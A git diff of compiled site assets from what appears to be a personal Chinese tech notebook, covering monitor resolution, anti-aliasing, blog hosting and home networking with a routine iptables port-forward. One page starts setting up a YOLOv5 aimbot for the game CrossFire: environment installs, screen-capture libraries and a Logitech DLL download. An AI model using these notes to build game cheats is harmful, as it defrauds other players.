new file mode 100644 index 0000000..4354912 --- /dev/null +++ "b/assets/\344\275\277\347\224\250\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264_\346\226\220\350\256\257n1\347\233\222\345\255\220\347\233\264\346\222\255.html-8Vw1sWwQ.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-94b8d7f0","path":"/notebook/%E4%BD%BF%E7%94%A8%E7%BD%97%E6%8A%80%E6%91%84%E5%83%8F%E5%A4%B4_%E6%96%90%E8%AE%AFn1%E7%9B%92%E5%AD%90%E7%9B%B4%E6%92%AD.html","title":"使用罗技摄像头+斐讯n1盒子直播","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/使用罗技摄像头+斐讯n1盒子直播.md"}');export{t as data}; diff --git "a/assets/\344\275\277\347\224\250\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264_\346\226\220\350\256\257n1\347\233\222\345\255\220\347\233\264\346\222\255.html-Sz6mkK-i.js" "b/assets/\344\275\277\347\224\250\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264_\346\226\220\350\256\257n1\347\233\222\345\255\220\347\233\264\346\222\255.html-Sz6mkK-i.js" new file mode 100644 index 0000000..5d9f056 --- /dev/null +++ "b/assets/\344\275\277\347\224\250\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264_\346\226\220\350\256\257n1\347\233\222\345\255\220\347\233\264\346\222\255.html-Sz6mkK-i.js" @@ -0,0 +1 @@ +import{_,o as t,c as n,b as e,d as a}from"./app-x8p6wK6B.js";const c={},o=e("h1",{id:"使用罗技摄像头-斐讯n1盒子直播",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#使用罗技摄像头-斐讯n1盒子直播","aria-hidden":"true"},"#"),a(" 使用罗技摄像头+斐讯n1盒子直播")],-1),r=[o];function s(d,i){return t(),n("div",null,r)}const l=_(c,[["render",s],["__file","使用罗技摄像头_斐讯n1盒子直播.html.vue"]]);export{l as default}; diff --git "a/assets/\345\210\206\350\276\250\347\216\207.html-A5Aya7jM.js" "b/assets/\345\210\206\350\276\250\347\216\207.html-A5Aya7jM.js" new file mode 100644 index 0000000..fbd1644 --- /dev/null +++ "b/assets/\345\210\206\350\276\250\347\216\207.html-A5Aya7jM.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-185ae8c4","path":"/notebook/%E5%88%86%E8%BE%A8%E7%8E%87.html","title":"分辨率","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"物理分辨率","slug":"物理分辨率","link":"#物理分辨率","children":[]},{"level":2,"title":"设置分辨率","slug":"设置分辨率","link":"#设置分辨率","children":[]},{"level":2,"title":"PPI","slug":"ppi","link":"#ppi","children":[]},{"level":2,"title":"ui分辨率","slug":"ui分辨率","link":"#ui分辨率","children":[]},{"level":2,"title":"游戏分辨率","slug":"游戏分辨率","link":"#游戏分辨率","children":[]},{"level":2,"title":"nvidia dsr","slug":"nvidia-dsr","link":"#nvidia-dsr","children":[]},{"level":2,"title":"推断","slug":"推断","link":"#推断","children":[]},{"level":2,"title":"4k显示器尺寸的选择","slug":"_4k显示器尺寸的选择","link":"#_4k显示器尺寸的选择","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/分辨率.md"}');export{l as data}; diff --git "a/assets/\345\210\206\350\276\250\347\216\207.html-RUfi1z9A.js" "b/assets/\345\210\206\350\276\250\347\216\207.html-RUfi1z9A.js" new file mode 100644 index 0000000..ed50f37 --- /dev/null +++ "b/assets/\345\210\206\350\276\250\347\216\207.html-RUfi1z9A.js" @@ -0,0 +1 @@ +import{_ as a,o as e,c as p,a as i}from"./app-x8p6wK6B.js";const h={},r=i('# 分辨率
# 物理分辨率
物理分辨率是指显示器硬件所具有的分辨率
# 设置分辨率
一般和物理分辨率相符合
# PPI
![](_v_images/20230116110508582_721.png =960x)
27寸4K:163.18 27寸2K:108.79 24寸1080P:91.79 14寸1366x768:111.94
R= 操作系统的目标ppi / 显示器的物理ppi
R表示在一定的缩放下,UI文字实际显示的大小和其设计目的大小的比值。
R会有3个结果,大于1,小于1,等于1;等于1说明显示器可以完美地展现UI和文字的设计大小,但没有显示器厂商做这种屏幕,只存在梦里;
R大于1,说明UI和文字实际显示的大小相比设计大小偏大;R小于1,说明UI文字的实际显示大小相比设计大小偏小。R越接近1,实际显示大小和设计大小越接近。
为什么27寸4K显示器“字儿会那么小”?因为当不缩放时,R = (96 * 100%) / 163.18 约等于 0.588,此时的R远小于1,UI和文字的实际显示大小只有设计大小的58%,当然会很小了。
为什么把缩放改成200%字儿就恢复了呢?因为R = (96 * 200%) / 163.18 约等于 1.177,R比1略大,UI和文字的实际显示大小相当于设计大小的117%
为了让UI和文字元素看着舒服,应该尽可能调整缩放让R接近1,也有潭友觉得“小一点无所谓,显示的东西太少太没效率了”,如果你的缩放能让R在0.8左右还是合适的,个人认为R再小就不可接受了。例如在27寸4K显示器上很多人使用150%缩放,得到的R为0.88,只能说大小缩为原来的九成,换更多的元素显示还是值得的。
最后,还有一个有趣的值:
27寸2K显示器,100%缩放,R=1.13 27寸4K显示器,200%缩放,R=1.17
显示元素大小居然差不太多
# ui分辨率
win:使用缩放后,ui的等效分辨率,例如2k屏幕,200%缩放=720p, 150%缩放就是1706* 960, 125%缩放就是2048* 1152
https://bbs.saraba1st.com/2b/thread-1986336-1-1.html
# 游戏分辨率
老游戏可能对高分屏适配不够,会导致ui变小等(如红色警戒)
现代游戏应该是16:9,1080p为基础制作,高于此分辨率则会进行缩放,ui大小不变,但是会很清晰,例如4k中画质>2k高画质
# nvidia dsr
N卡有dsr技术,超分辨率
全称Dynamic Super Resolution,中文为动态超级分辨率,也称“自定义分辨率”
使用场景:显示器1080p物理分辨率,但是显卡性能比较强时使用,以4k进行渲染然后输出给显示器
评论:这个设置就是打游戏用的,办公还是算了,挺糊的
DSR其实就类似SSAA抗锯齿,超采样缩放,对画质来说是有提升。但毕竟是要原生渲染4K画面,这对显卡的压力不是一般的小,像2060这样的显卡面对游戏以4K分辨率渲染基本上都是要跪的。简单来说,你要以4K渲染画面,那就只能降低特效才能保证帧率,用抗锯齿和画面的精细度去换低特效这无疑是捡了芝麻丢西瓜。所以NV现在都干脆没提及DSR了,技术没问题,就是一般显卡顶不住这样的压力。为了解决这个问题,DLSS就是最新的替代方案,只可惜没啥游戏支持而已。发布于 2020-06-23 15:11 作者:知乎用户 链接:https://www.zhihu.com/question/402549533/answer/1298403883 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
这个技术已经是2014年的老技术了,开不开的对性能影响不算很大,而且现在抗锯齿用的就是类似这个技术的操作,没什么意义了已经 以上。
# 推断
基于以上信息,我的推断:
24寸1080p GTX1070 畅玩所有游戏(中画质60hz) 27寸1440p RTX3060ti 畅玩所有游戏(中画质60hz) 32寸2160p RTX4080 畅玩所有游戏 (中画质60hz)
# 4k显示器尺寸的选择
因为很多人觉得27”4K的字太小,导致一个两难的问题——不开缩放字体太小看不清;开了缩放,很多软件界面又会模糊,因为他们对缩放的支持很差。而32”因为屏幕更大,字体太小的问题就显得没那么严重了。
微星 mpg321ur
华硕 pg32uq
华硕 pg32uq
木头龙中央处理器 (CPU)等 3 个话题下的优秀答主 只接PS5玩游戏32寸,兼顾Windows应用27寸。只玩PS5的话,本来为了电视优化的画面,哪怕你坐的近一点也是OK的,尤其是主要是图片、视频内容的主机应用。这时候大屏就是正义,别犹豫直接上32。但你要兼顾电脑上的Windows的话,32寸开200%缩放,等效1920x1080,正常使用距离(50-60CM)时会显得偏大,PPI也高于视网膜分辨率。除非是电脑椅头靠在椅背靠枕上,但这个姿势看片子拿手柄玩游戏还好,敲键盘拿鼠标就很别扭了。开150%缩放的话等效2560x1440,显示元素会更多,但一般的Windows应用是GDI+,非整数缩放是向上取整渲染然后再通过算法缩放回来,所以4K分辨率开150%缩放显示等效2560x1440图像,先取整200%缩放用5120x2880渲染,然后再转换到3840x2160显示,这种做法会导致字体、色块边缘发虚模糊。(UWP应用是另一种渲染方式,字体、色块边缘清晰不少)27寸4K的话,57-60CM使用距离是达到视网膜分辨率的。200%缩放显示等效1920x1080,字体、色块边缘很清晰的,字体元素大小也比较适和。但如果凑得再近一点,达不到视网膜分辨率,仔细看字体边缘还是可以感觉到有点模糊。发布于 2022-05-26 21:11赞同 37 17 条评论
',40),d=[r];function t(n,s){return e(),p("div",null,d)}const c=a(h,[["render",t],["__file","分辨率.html.vue"]]);export{c as default}; diff --git "a/assets/\345\215\232\345\256\242\346\220\255\345\273\272.html-mnoPtCHz.js" "b/assets/\345\215\232\345\256\242\346\220\255\345\273\272.html-mnoPtCHz.js" new file mode 100644 index 0000000..874c860 --- /dev/null +++ "b/assets/\345\215\232\345\256\242\346\220\255\345\273\272.html-mnoPtCHz.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-e63c018a","path":"/notebook/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA.html","title":"甲骨文服务器凉凉","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"20200911甲骨文复活辣","slug":"_20200911甲骨文复活辣","link":"#_20200911甲骨文复活辣","children":[]},{"level":2,"title":"2020/2/24","slug":"_2020-2-24","link":"#_2020-2-24","children":[]},{"level":2,"title":"20200215 甲骨文凉凉","slug":"_20200215-甲骨文凉凉","link":"#_20200215-甲骨文凉凉","children":[]},{"level":2,"title":"处理笔记的分类方式","slug":"处理笔记的分类方式","link":"#处理笔记的分类方式","children":[{"level":3,"title":"笔记的种类:","slug":"笔记的种类","link":"#笔记的种类","children":[]},{"level":3,"title":"可用的笔记,提醒,便签软件","slug":"可用的笔记-提醒-便签软件","link":"#可用的笔记-提醒-便签软件","children":[]},{"level":3,"title":"场景","slug":"场景","link":"#场景","children":[]}]},{"level":2,"title":"找到合适的写日记软件","slug":"找到合适的写日记软件","link":"#找到合适的写日记软件","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/博客搭建.md"}');export{l as data}; diff --git "a/assets/\345\215\232\345\256\242\346\220\255\345\273\272.html-z_tV2tys.js" "b/assets/\345\215\232\345\256\242\346\220\255\345\273\272.html-z_tV2tys.js" new file mode 100644 index 0000000..a6af2cb --- /dev/null +++ "b/assets/\345\215\232\345\256\242\346\220\255\345\273\272.html-z_tV2tys.js" @@ -0,0 +1 @@ +import{_ as r,a}from"./20200911144457950_30869-783m7FV3.js";import{_ as o,r as h,o as n,c as s,b as t,d as e,e as i,a as l}from"./app-x8p6wK6B.js";const c={},u=l('# 甲骨文服务器凉凉
https://51.ruyo.net/14138.html 白嫖甲骨文vps 2019年9月17
# 20200911甲骨文复活辣
白嫖了两台, 一台使用tcp 链接, 一台使用websocket+tsl(需要域名解析) 链接, 测速如下
服务器 传输协议 下载 上传 延迟 抖动 丢包 132.145.112.212 websocket+tsl 11.5 3.20 95ms 12ms - 168.138.214.1 tcp 12.7 7.61 331ms 436ms # 2020/2/24
',6),p={href:"https://drv.tw/",target:"_blank",rel:"noopener noreferrer"},_={href:"https://www.alexclassroom.com/web-building/webmaster-tool/how-to-build-site-on-onedrive-drivetoweb/",target:"_blank",rel:"noopener noreferrer"},b=l('
- 本地使用VNote进行编辑,将笔记文件夹设置到 onedrive 目录下
- 编辑后自动更新onedrive,免去手动同步的麻烦
- 使用drive to web 配合域名cname指向,完成博客搭建
# 20200215 甲骨文凉凉
因此我需要一个新的服务器
需求:
- 搭建博客
- 同时要提供vnote - onedrive这种方式的
日记 - 博客
工作流- vpn
- 平时使用谷歌服务
- 内网穿透
因此, 可能需要国外服务器才能支持
博客搭建方案:
- github/gitee/coding pages
- 阿里云,其它云
- 虚拟主机
- 其它
- 阿里云(入口 nginx 转发)+ 腾讯云(应用+数据库)
- github pages + cloudflare
- 阿里云->vultr->github pages->netlify
- 利用 Gridea 同步到 GitHub,然后再同步到 Netlify http://fehey.com
- 本地 N1+frp
- cnblogs, csdn (不想)
大佬的博客:
- https://www.dute.org/
# 思考
# 处理笔记的分类方式
# 笔记的种类:
- 灵感
- 待办事项
- 日记
- 笔记
- 特殊的( 印象笔记剪藏,马克)
# 可用的笔记,提醒,便签软件
品名 平台 云同步 备注 OneNote 全平台 √ 印象笔记 全平台,免费版最多两台设备 √ 微软待办 全平台 √ 习惯 android × VNote 桌面端 × 配合onedrive可以同步,以及搭建博客 # 场景
展示给别人看的博客 -- Vnote + viki + onedrive + drive to web 自己的日记 -- 印象笔记+ 日历
# 找到合适的写日记软件
notion -- 颜值即是正义
# 笔记型博客
',22),f={href:"http://dynalon.github.io/mdwiki/#!index.md",target:"_blank",rel:"noopener noreferrer"},m=t("ul",null,[t("li",null,"适合为开发的应用程序编写wiki"),t("li",null,"无法实现多层文件夹"),t("li",null,"具有github风格的markdown渲染器"),t("li",null,"可使用gimmicks, 以获得例如github-fork带子, 讨论区, 等插件")],-1),g={href:"https://github.com/tamlok/viki",target:"_blank",rel:"noopener noreferrer"},v=t("ul",null,[t("li",null,"配合vnote,以及onedrive云同步,适更合写笔记"),t("li",null,"有多层文件夹"),t("li",null,"渲染风格简陋,但是可以定制化(暂未找到方法)")],-1);function k(w,x){const d=h("ExternalLinkIcon");return n(),s("div",null,[u,t("p",null,[e("使用"),t("a",p,[e("drive to web"),i(d)])]),t("p",null,[t("a",_,[e("教程"),i(d)])]),b,t("p",null,[t("a",f,[e("MDwiki"),i(d)])]),m,t("p",null,[t("a",g,[e("vnote-viki"),i(d)])]),v])}const V=o(c,[["render",k],["__file","博客搭建.html.vue"]]);export{V as default}; diff --git "a/assets/\345\217\230\351\207\217\345\221\275\345\220\215\347\233\270\345\205\263.html-VlLPxf9A.js" "b/assets/\345\217\230\351\207\217\345\221\275\345\220\215\347\233\270\345\205\263.html-VlLPxf9A.js" new file mode 100644 index 0000000..b762b04 --- /dev/null +++ "b/assets/\345\217\230\351\207\217\345\221\275\345\220\215\347\233\270\345\205\263.html-VlLPxf9A.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-42bda90c","path":"/notebook/%E5%8F%98%E9%87%8F%E5%91%BD%E5%90%8D%E7%9B%B8%E5%85%B3.html","title":"变量命名相关","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/变量命名相关.md"}');export{t as data}; diff --git "a/assets/\345\217\230\351\207\217\345\221\275\345\220\215\347\233\270\345\205\263.html-jVwTA9Zg.js" "b/assets/\345\217\230\351\207\217\345\221\275\345\220\215\347\233\270\345\205\263.html-jVwTA9Zg.js" new file mode 100644 index 0000000..abd48de --- /dev/null +++ "b/assets/\345\217\230\351\207\217\345\221\275\345\220\215\347\233\270\345\205\263.html-jVwTA9Zg.js" @@ -0,0 +1 @@ +import{_ as t,o as s,c as _,b as e,d as a}from"./app-x8p6wK6B.js";const c="/assets/486322292836512-Zfrvlyu0.png",o={},r=e("h1",{id:"变量命名相关",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#变量命名相关","aria-hidden":"true"},"#"),a(" 变量命名相关")],-1),n=e("p",null,[e("img",{src:c,alt:""})],-1),d=[r,n];function i(l,h){return s(),_("div",null,d)}const m=t(o,[["render",i],["__file","变量命名相关.html.vue"]]);export{m as default}; diff --git "a/assets/\345\233\276\345\275\242\346\212\227\351\224\257\351\275\277.html-QnGxD5ZW.js" "b/assets/\345\233\276\345\275\242\346\212\227\351\224\257\351\275\277.html-QnGxD5ZW.js" new file mode 100644 index 0000000..7ead1b5 --- /dev/null +++ "b/assets/\345\233\276\345\275\242\346\212\227\351\224\257\351\275\277.html-QnGxD5ZW.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-68b2c946","path":"/notebook/%E5%9B%BE%E5%BD%A2%E6%8A%97%E9%94%AF%E9%BD%BF.html","title":"图形抗锯齿","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"","slug":"","link":"#","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/图形抗锯齿.md"}');export{t as data}; diff --git "a/assets/\345\233\276\345\275\242\346\212\227\351\224\257\351\275\277.html-swuZ5enR.js" "b/assets/\345\233\276\345\275\242\346\212\227\351\224\257\351\275\277.html-swuZ5enR.js" new file mode 100644 index 0000000..9269b93 --- /dev/null +++ "b/assets/\345\233\276\345\275\242\346\212\227\351\224\257\351\275\277.html-swuZ5enR.js" @@ -0,0 +1 @@ +import{_ as t,r as p,o as l,c as i,b as A,d as e,e as n,a as o}from"./app-x8p6wK6B.js";const r={},s=A("h1",{id:"图形抗锯齿",tabindex:"-1"},[A("a",{class:"header-anchor",href:"#图形抗锯齿","aria-hidden":"true"},"#"),e(" 图形抗锯齿")],-1),c={href:"https://tieba.baidu.com/p/5888162347",target:"_blank",rel:"noopener noreferrer"},_=o('#
dlss是用来节约性能的,偷奸耍滑的抗锯齿都会有点副作用,txaa,fxaa照样糊,极限画质只认ssaa
游戏中常见的抗锯齿选项有以下几种:
1.关闭抗锯齿:是游戏中最常见的选项,关闭后游戏图像没有抗锯齿效果,会出现锯齿现象。对性能的需求较小,但视觉效果较差,100%的性能开销。
2.MSAA:Multi-Sample Anti-Aliasing(多重采样抗锯齿),MSAA支持各种MSAA级别,通常为x2、x4和x8等级别。 MSAA从3D场景中对每个像素进行多次采样以消除锯齿。 较高的MSAA级别会导致更好的视觉效果,但也会导致更多的性能开销,一般消耗10%~40%的性能开销。
3.FXAA:Fast Approximate Anti-Aliasing(快速近似抗锯齿),FXAA可在像素级别完成灰度反锯齿、多级反锯齿和对线条的效果。FXAA质量较好,性能开销小。在高分辨率下的效果更显著。一般消耗2%~10%的性能开销。
4.TXAA:Temporal Anti-Aliasing(时域抗锯齿),它使用我的时间成本将多个图像帧融合在一起,以提供更高质量的反锯齿以及抗锯齿的运动平滑性和更少的锯齿。对比MSAA和FXAA,TXAA的视觉效果和性能开销都更高,一般消耗20%~40%的性能开销。
5.SMAA:Subpixel Morphological Anti-Aliasing(亚像素形态抗锯齿),效果跟MSAA、FSAA非常接近,可以排除锯齿,同时减少不必要的混叠。 对于高性能的显卡来说没有太大的性能开销,但是在一些较低性能的显卡上则可能会出现效果不佳的情况。一般消耗2%~10%的性能开销。
总结:
性能消耗从低到高:FXAA < SMAA < MSAA < TXAA
效果质量从低到高:关闭抗锯齿 < FXAA < SMAA < MSAA < TXAA
游戏玩家通常可以根据自己的需要选择不同的抗锯齿选项,根据自己的电脑配置和游戏画面的需求选择不同的抗锯齿选项可以兼顾视觉效果与性能。
常见的抗锯齿选项包括:
无抗锯齿:游戏不使用任何抗锯齿技术,可以达到最高的帧率和最低的性能需求。
FXAA(快速近似抗锯齿):这是一种快速且轻量级的抗锯齿技术,可以减少锯齿的数量,但可能会导致图像模糊或失真。该选项通常只需要额外的 1-2% 的 GPU 性能,适合运行时间敏感的游戏。
MSAA(多重采样抗锯齿):这种抗锯齿技术通过对多个样本进行采样来减少锯齿的数量,它可以提供更好的图像质量,但需要更多的 GPU 性能。通常,MSAA 2x 可以消除大部分锯齿,但需要额外的 20-30% 的 GPU 性能;MSAA 4x 则可以消除更多的锯齿,但需要额外的 50% 或更多的 GPU 性能。
SSAA(超采样抗锯齿):这是一种更高级的抗锯齿技术,可以通过在超过游戏分辨率的帧缓冲区中渲染图像来产生更高质量的图像。这种技术可以消除几乎所有的锯齿,但需要更高的 GPU 性能。由于需要更高的分辨率,因此 SSAA 的性能需求通常比 MSAA 更高,通常需要额外的 100-200% 的 GPU 性能。
总的来说,抗锯齿选项的性能需求和效果呈正相关。使用更高级的抗锯齿技术可以提供更好的图像质量,但需要更高的 GPU 性能。因此,在游戏设置中选择合适的抗锯齿选项可以平衡图像质量和性能之间的关系。
',15);function d(S,h){const a=p("ExternalLinkIcon");return l(),i("div",null,[s,A("p",null,[A("a",c,[e("5888162347"),n(a)])]),_])}const x=t(r,[["render",d],["__file","图形抗锯齿.html.vue"]]);export{x as default}; diff --git "a/assets/\345\237\272\344\272\216ddd\347\232\204\346\236\266\346\236\204.html-5cALh4sc.js" "b/assets/\345\237\272\344\272\216ddd\347\232\204\346\236\266\346\236\204.html-5cALh4sc.js" new file mode 100644 index 0000000..7c771e1 --- /dev/null +++ "b/assets/\345\237\272\344\272\216ddd\347\232\204\346\236\266\346\236\204.html-5cALh4sc.js" @@ -0,0 +1 @@ +const d=JSON.parse('{"key":"v-d0dc2cca","path":"/web/%E5%9F%BA%E4%BA%8Eddd%E7%9A%84%E6%9E%B6%E6%9E%84.html","title":"基于ddd的架构","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/基于ddd的架构.md"}');export{d as data}; diff --git "a/assets/\345\237\272\344\272\216ddd\347\232\204\346\236\266\346\236\204.html-lnxupp3Q.js" "b/assets/\345\237\272\344\272\216ddd\347\232\204\346\236\266\346\236\204.html-lnxupp3Q.js" new file mode 100644 index 0000000..ec2cc4a --- /dev/null +++ "b/assets/\345\237\272\344\272\216ddd\347\232\204\346\236\266\346\236\204.html-lnxupp3Q.js" @@ -0,0 +1 @@ +import{_ as d,o as t,c as s,b as e,d as _}from"./app-x8p6wK6B.js";const o="/assets/370660893836505-jwyokzhR.png",a={},c=e("h1",{id:"基于ddd的架构",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#基于ddd的架构","aria-hidden":"true"},"#"),_(" 基于ddd的架构")],-1),n=e("p",null,[e("img",{src:o,alt:""})],-1),r=[c,n];function i(l,h){return t(),s("div",null,r)}const m=d(a,[["render",i],["__file","基于ddd的架构.html.vue"]]);export{m as default}; diff --git "a/assets/\345\237\272\344\272\216yolov5\347\232\204cf\350\207\252\347\236\204.html-ftAqeGea.js" "b/assets/\345\237\272\344\272\216yolov5\347\232\204cf\350\207\252\347\236\204.html-ftAqeGea.js" new file mode 100644 index 0000000..b811490 --- /dev/null +++ "b/assets/\345\237\272\344\272\216yolov5\347\232\204cf\350\207\252\347\236\204.html-ftAqeGea.js" @@ -0,0 +1,9 @@ +import{_ as o,r as l,o as a,c as i,b as e,d as n,e as s,a as d}from"./app-x8p6wK6B.js";const r={},c=e("h1",{id:"基于yolov5的cf自瞄",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#基于yolov5的cf自瞄","aria-hidden":"true"},"#"),n(" 基于yolov5的cf自瞄")],-1),p=e("h2",{id:"环境配置",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#环境配置","aria-hidden":"true"},"#"),n(" 环境配置")],-1),v=e("p",null,[n("1.安装anconda,创建python3.8的环境 "),e("code",null,"conda create -n py38 python3.8")],-1),u={href:"https://pytorch.org/get-started/locally/",target:"_blank",rel:"noopener noreferrer"},h=d(`conda activate py38 +conda install pytorch torchvision torchaudio pytorch-cuda=11.8 -c pytorch -c nvidia +
- 安装yolov5相关依赖 访问 https://github.com/ultralytics/yolov5/releases/tag/v7.0 获取yolov5最新源代码,并安装相关依赖 实测python3.11安装失败,确实scipy>=1.4的依赖,因此使用py3.8较好
git clone https://github.com/ultralytics/yolov5.git +cd yolov5 +pip install -r requirements.txt coremltools onnx onnx-simplifier onnxruntime-gpu openvino-dev tensorflow +
获取数据集,标注、训练,获得模型
捕获屏幕,可使用mss,或d3dshot截图(mss库,pyseral库)
pip install pyserial +pip install mss +pip install d3dshot +
`,6);function m(_,y){const t=l("ExternalLinkIcon");return a(),i("div",null,[c,p,v,e("p",null,[n("2.切换到该环境,并下载pytroch>=1.7,使用conda会自动帮我们维护cuda(需要良好的网络) 这里我们使用pytorch2.0.1 "),e("a",u,[n("pytorch官方"),s(t)])]),h])}const b=o(r,[["render",m],["__file","基于yolov5的cf自瞄.html.vue"]]);export{b as default}; diff --git "a/assets/\345\237\272\344\272\216yolov5\347\232\204cf\350\207\252\347\236\204.html-uSvowgMd.js" "b/assets/\345\237\272\344\272\216yolov5\347\232\204cf\350\207\252\347\236\204.html-uSvowgMd.js" new file mode 100644 index 0000000..a45d400 --- /dev/null +++ "b/assets/\345\237\272\344\272\216yolov5\347\232\204cf\350\207\252\347\236\204.html-uSvowgMd.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-3e81f7f2","path":"/python/cv/%E5%9F%BA%E4%BA%8Eyolov5%E7%9A%84cf%E8%87%AA%E7%9E%84.html","title":"基于yolov5的cf自瞄","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"环境配置","slug":"环境配置","link":"#环境配置","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/cv/基于yolov5的cf自瞄.md"}');export{t as data}; diff --git "a/assets/\345\257\206\347\240\201\347\256\241\347\220\206.html-n96BGOcg.js" "b/assets/\345\257\206\347\240\201\347\256\241\347\220\206.html-n96BGOcg.js" new file mode 100644 index 0000000..7fb2f7a --- /dev/null +++ "b/assets/\345\257\206\347\240\201\347\256\241\347\220\206.html-n96BGOcg.js" @@ -0,0 +1 @@ +import{_ as a,r as o,o as r,c as s,b as e,d as t,e as c}from"./app-x8p6wK6B.js";const _={},l=e("h1",{id:"密码管理",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#密码管理","aria-hidden":"true"},"#"),t(" 密码管理")],-1),d=e("p",null,"keepass",-1),i={href:"https://keepassxc.org/",target:"_blank",rel:"noopener noreferrer"};function h(p,f){const n=o("ExternalLinkIcon");return r(),s("div",null,[l,d,e("p",null,[t("mac客户端: "),e("a",i,[t("keepassxc"),c(n)]),t(" github start 16.6k")])])}const m=a(_,[["render",h],["__file","密码管理.html.vue"]]);export{m as default}; diff --git "a/assets/\345\257\206\347\240\201\347\256\241\347\220\206.html-zMIlL1m8.js" "b/assets/\345\257\206\347\240\201\347\256\241\347\220\206.html-zMIlL1m8.js" new file mode 100644 index 0000000..35431c8 --- /dev/null +++ "b/assets/\345\257\206\347\240\201\347\256\241\347\220\206.html-zMIlL1m8.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-03b64b50","path":"/notebook/%E5%AF%86%E7%A0%81%E7%AE%A1%E7%90%86.html","title":"密码管理","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/密码管理.md"}');export{t as data}; diff --git "a/assets/\345\274\202\345\234\260\347\273\204\347\275\221.html-K2IP39Zi.js" "b/assets/\345\274\202\345\234\260\347\273\204\347\275\221.html-K2IP39Zi.js" new file mode 100644 index 0000000..cb0f404 --- /dev/null +++ "b/assets/\345\274\202\345\234\260\347\273\204\347\275\221.html-K2IP39Zi.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-beb5c272","path":"/router/%E5%BC%82%E5%9C%B0%E7%BB%84%E7%BD%91.html","title":"异地组网","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"设备:k2p","slug":"设备-k2p","link":"#设备-k2p","children":[]},{"level":2,"title":"斐讯n1盒子","slug":"斐讯n1盒子","link":"#斐讯n1盒子","children":[]},{"level":2,"title":"wr1200js","slug":"wr1200js","link":"#wr1200js","children":[]},{"level":2,"title":"cloud server hk","slug":"cloud-server-hk","link":"#cloud-server-hk","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"router/异地组网.md"}');export{e as data}; diff --git "a/assets/\345\274\202\345\234\260\347\273\204\347\275\221.html-Tj0VW0Xz.js" "b/assets/\345\274\202\345\234\260\347\273\204\347\275\221.html-Tj0VW0Xz.js" new file mode 100644 index 0000000..cb2be19 --- /dev/null +++ "b/assets/\345\274\202\345\234\260\347\273\204\347\275\221.html-Tj0VW0Xz.js" @@ -0,0 +1,6 @@ +import{_ as a,o as e,c as s,a as r}from"./app-x8p6wK6B.js";const n={},i=r(`
- 下载ghub dll
# 异地组网
# 设备:k2p
配置:128g ram 千兆wifi、局域网 负责拨号,拥有公共ip
1.开机时执行的命令,用途为将2.xx这台设备转发到自己的36000端口
iptables -t nat -A PREROUTING -i pppoe-wan -p tcp --dport 36000 -j DNAT --to-destination 192.168.2.xx:22 +
- ddns
使用ardnspod实现,基于腾讯云的域名管理
使用方式:在脚本最后加入以下几行即可
arToken="token1,token2" +arDdnsCheck domain.com www +arDdnsCheck domain.com "*" +arDdnsCheck domain.com @ +
- ss server 添加clash规则后,可直接通过clash访问内网资源,优点是不暴露端口在公网,无安全问题
# 斐讯n1盒子
配置: 安装ubuntu系统,arm芯片, 千兆网口,一个hdmi 两个usb2.0: 打印机 兄弟7060d 斐讯h1 1t硬盘
安装的软件: cups : 打印机管理 端口761 uwsgi: 托管python服务 supervistor: 负责管理后端启停 /etc/supervisor/conf.d/ docker: -mariadb 配置有主从同步服务
zerotier-one: 异地组网客户端 zabbix-agent: zabbix客户端,因为没有arm版本,当时还配置了好久 redis-server: 当时给爬虫服务使用的,后来就没用了 openresty: 学了手lua,不错 nginx: 可以转发一下 motion: 链接usb摄像头后,可以实时推流到web上jpeg-stream(无声音) fail2ban: 防ssh密码破解
# wr1200js
配置:4核arm处理器,usb2.0口,千兆wifi、局域网 系统:openwrt
软件: zerotier客户端 wol 网络唤醒
可选:挂载硬盘
# cloud server hk
安装 zerotier moon 服务器
